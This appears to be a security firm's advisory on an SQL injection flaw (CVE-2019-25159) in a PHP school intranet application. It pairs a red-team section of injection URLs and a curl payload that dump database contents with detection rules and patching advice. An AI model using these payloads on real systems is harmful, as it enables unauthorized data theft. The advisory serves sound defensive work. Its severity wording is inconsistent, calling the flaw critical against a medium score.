CVE-2019-25159

Executive Summary

CVE-2019-25159 is a critical SQL injection vulnerability discovered in the config/cargos.php file of the Intranet del Monterroso application, developed by mpedraza2020. The vulnerability allows an unauthenticated attacker to manipulate the dni_profe parameter, leading to arbitrary SQL execution against the backend database. This can result in unauthorized data access, modification, or deletion. The vendor has released a patch in version 4.51.0, but the vulnerability remains unpatched in all earlier versions. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant for affected deployments.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application. The supply chain risk is limited to the direct use of the vulnerable software.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication required) and the potential for data exfiltration elevate the risk for organizations using this software.

Deep Dive & Mechanics

The vulnerability resides in the config/cargos.php file. The dni_profe parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL code via this parameter, bypassing authentication or extracting sensitive data.

Vulnerable Code Snippet (Conceptual):

<?php
$dni = $_GET['dni_profe'];
$query = "SELECT * FROM profesores WHERE dni = '$dni'";
$result = mysqli_query($conn, $query);
?>

Attack Vector:

• HTTP GET/POST Request: http://target.com/config/cargos.php?dni_profe=1' OR '1'='1
• Result: The query becomes SELECT * FROM profesores WHERE dni = '1' OR '1'='1', returning all rows.

Vulnerable vs. Patched Code

Vulnerable (versions < 4.51.0):

// config/cargos.php
$dni = $_GET['dni_profe'];
$query = "SELECT * FROM profesores WHERE dni = '$dni'";
$result = mysqli_query($conn, $query);

Patched (version 4.51.0):

// config/cargos.php
$dni = mysqli_real_escape_string($conn, $_GET['dni_profe']);
$query = "SELECT * FROM profesores WHERE dni = '$dni'";
$result = mysqli_query($conn, $query);

The patch uses mysqli_real_escape_string() to escape special characters, preventing SQL injection. However, parameterized queries (prepared statements) would be a more robust solution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Intranet del Monterroso (version 4.50.0 or earlier) on a local server (e.g., XAMPP, LAMP).
2. Ensure the config/cargos.php file is accessible.

Exploitation Steps:

1. Basic Injection: http://localhost/config/cargos.php?dni_profe=1' OR '1'='1
2. Extract Database Version: http://localhost/config/cargos.php?dni_profe=1' UNION SELECT @@version,2,3-- -
3. Dump Tables: http://localhost/config/cargos.php?dni_profe=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -

Example Payload:

curl "http://target.com/config/cargos.php?dni_profe=1' UNION SELECT 1,2,3-- -"

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious dni_profe parameters containing SQL keywords (UNION, SELECT, OR, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediately upgrade to version 4.51.0.
• If upgrade is not possible, apply input validation and use prepared statements.
• Restrict access to config/cargos.php via .htaccess or firewall rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /config/cargos.php with dni_profe parameter containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified config/cargos.php file (if attacker uploaded a webshell).
  • Suspicious files in the web root (e.g., shell.php, cmd.php).
• Log IOCs:
  • Web server logs showing repeated dni_profe parameter variations.
  • Database logs showing unexpected queries from the web application user.

Detection Engineering

YARA Rule

rule CVE_2019_25159_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25159"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25159"
    strings:
        $s1 = "dni_profe=" nocase
        $s2 = "' OR '" nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "1=1" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2019-25159
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the dni_profe parameter in config/cargos.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "dni_profe="
        cs-uri-query|contains|any:
            - "' OR '"
            - "UNION SELECT"
            - "1=1"
            - "-- -"
    condition: selection
falsepositives:
    - Legitimate use of special characters in dni_profe (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25159 SQL Injection Attempt"; flow:to_server,established; content:"dni_profe="; http_uri; pcre:"/(\x27|\x22)\s*OR\s*\x27|\x22|UNION\s+SELECT|1=1|--\s*-/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to version 4.51.0 or later. The patch commit is 678190bee1dfd64b54a2b0e88abfd009e78adce8.
2. Workaround: If upgrade is not possible, apply input validation to the dni_profe parameter (allow only alphanumeric characters) and use parameterized queries.
3. Long-term: Implement a Web Application Firewall (WAF) and conduct regular security audits.
4. Monitoring: Enable detailed logging for config/cargos.php and alert on suspicious patterns.

Valters IT
Securing Digital Frontiers